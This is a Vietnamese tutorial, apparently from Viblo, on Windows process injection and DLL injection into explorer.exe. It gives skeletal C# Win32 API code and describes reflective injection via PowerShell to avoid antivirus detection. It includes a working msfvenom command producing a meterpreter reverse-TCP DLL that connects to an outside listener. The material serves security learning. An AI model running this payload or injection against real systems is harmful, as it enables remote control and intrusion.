1. Tổng Quan Về Process Injection
Process Injection là một kỹ thuật cho phép tin tặc thực thi mã trong không gian bộ nhớ của một process khác. Để thực hiện điều này, chúng ta thường sử dụng các hàm API như OpenProcess
, VirtualAllocEx
, WriteProcessMemory
, và CreateRemoteThread
. Việc tiêm mã vào một process yêu cầu chúng ta có quyền truy cập đúng mức độ bảo mật với process đó.
Quy Trình Tiêm Mã
- Mở Process: Sử dụng hàm
OpenProcess
để lấy handle của process mục tiêu. - Cấp Phát Bộ Nhớ: Sử dụng
VirtualAllocEx
để cấp phát không gian bộ nhớ trong process mục tiêu. - Ghi Mã Vào Bộ Nhớ: Sử dụng
WriteProcessMemory
để ghi mã (shellcode) vào không gian bộ nhớ đã cấp phát. - Chạy Mã: Cuối cùng, gọi hàm
CreateRemoteThread
để thực thi mã đã tiêm.
Ví Dụ Về Tiêm Mã Trong C#
Chúng ta có thể sử dụng C# kết hợp với Win32 API để thực hiện quá trình này. Dưới đây là một cấu trúc cơ bản cho việc tiêm shellcode vào explorer.exe
:
csharp
using System;
using System.Runtime.InteropServices;
namespace Inject
{
class Program
{
// Khai báo các hàm API cần thiết
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, uint processId);
[DllImport("kernel32.dll")]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
static void Main(string[] args)
{
// Mã sẽ được viết ở đây
}
}
}
2. Tiêm DLL
Tiêm DLL là một kỹ thuật hữu ích khi làm việc với các ứng dụng lớn hoặc khi đã tồn tại DLL trong process. Chúng ta có thể chỉ định để đưa một DLL vào một process bằng cách sử dụng LoadLibrary
API.
Cách Thực Hiện:
- Chuẩn Bị DLL: Sử dụng
msfvenom
để tạo DLL độc hại để tiêm.
bash
sudo msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.130 LPORT=4444 -f dll -o malware.dll
- Viết Mã Tiêm: Sử dụng C# để mở process và tiêm DLL vào.
csharp
using System;
using System.Diagnostics;
using System.Net;
using System.Runtime.InteropServices;
using System.Text;
namespace Inject
{
class Program
{
// Khai báo các hàm Win32 API
// ...
static void Main(string[] args)
{
String dllPath = "C:\path\to\malware.dll";
Process[] processes = Process.GetProcessesByName("explorer");
// Thực hiện tiêm DLL
}
}
}
3. Kỹ Thuật Reflective DLL Injection
Reflective DLL Injection là một kỹ thuật tiên tiến cho phép chúng ta tiêm mã mà không cần phải gọi LoadLibrary
. Kỹ thuật này giúp tránh bị phát hiện bởi phần mềm diệt virus. Chúng ta có thể thực hiện nó thông qua PowerShell với DLL payload.
Các Bước Cần Thực Hiện:
- Tải DLL qua HTTP vào bộ nhớ.
- Tìm ID của process mà bạn muốn tiêm vào.
- Sử dụng hàm
Invoke-ReflectivePEInjection
trong PowerShell để thực hiện việc tiêm mà không cần phát hiện.
Kết Luận
Process Injection và DLL Injection là những kỹ thuật mạnh mẽ trong việc kiểm soát và thực thi mã trên các hệ thống mục tiêu. Tuy nhiên, việc sử dụng chúng cho các mục đích không xác đáng có thể dẫn đến những hành vi trái pháp luật. Người dùng và các nhà phát triển nên nắm rõ các kỹ thuật này nhằm tăng cường bảo mật cho hệ thống của họ.
source: viblo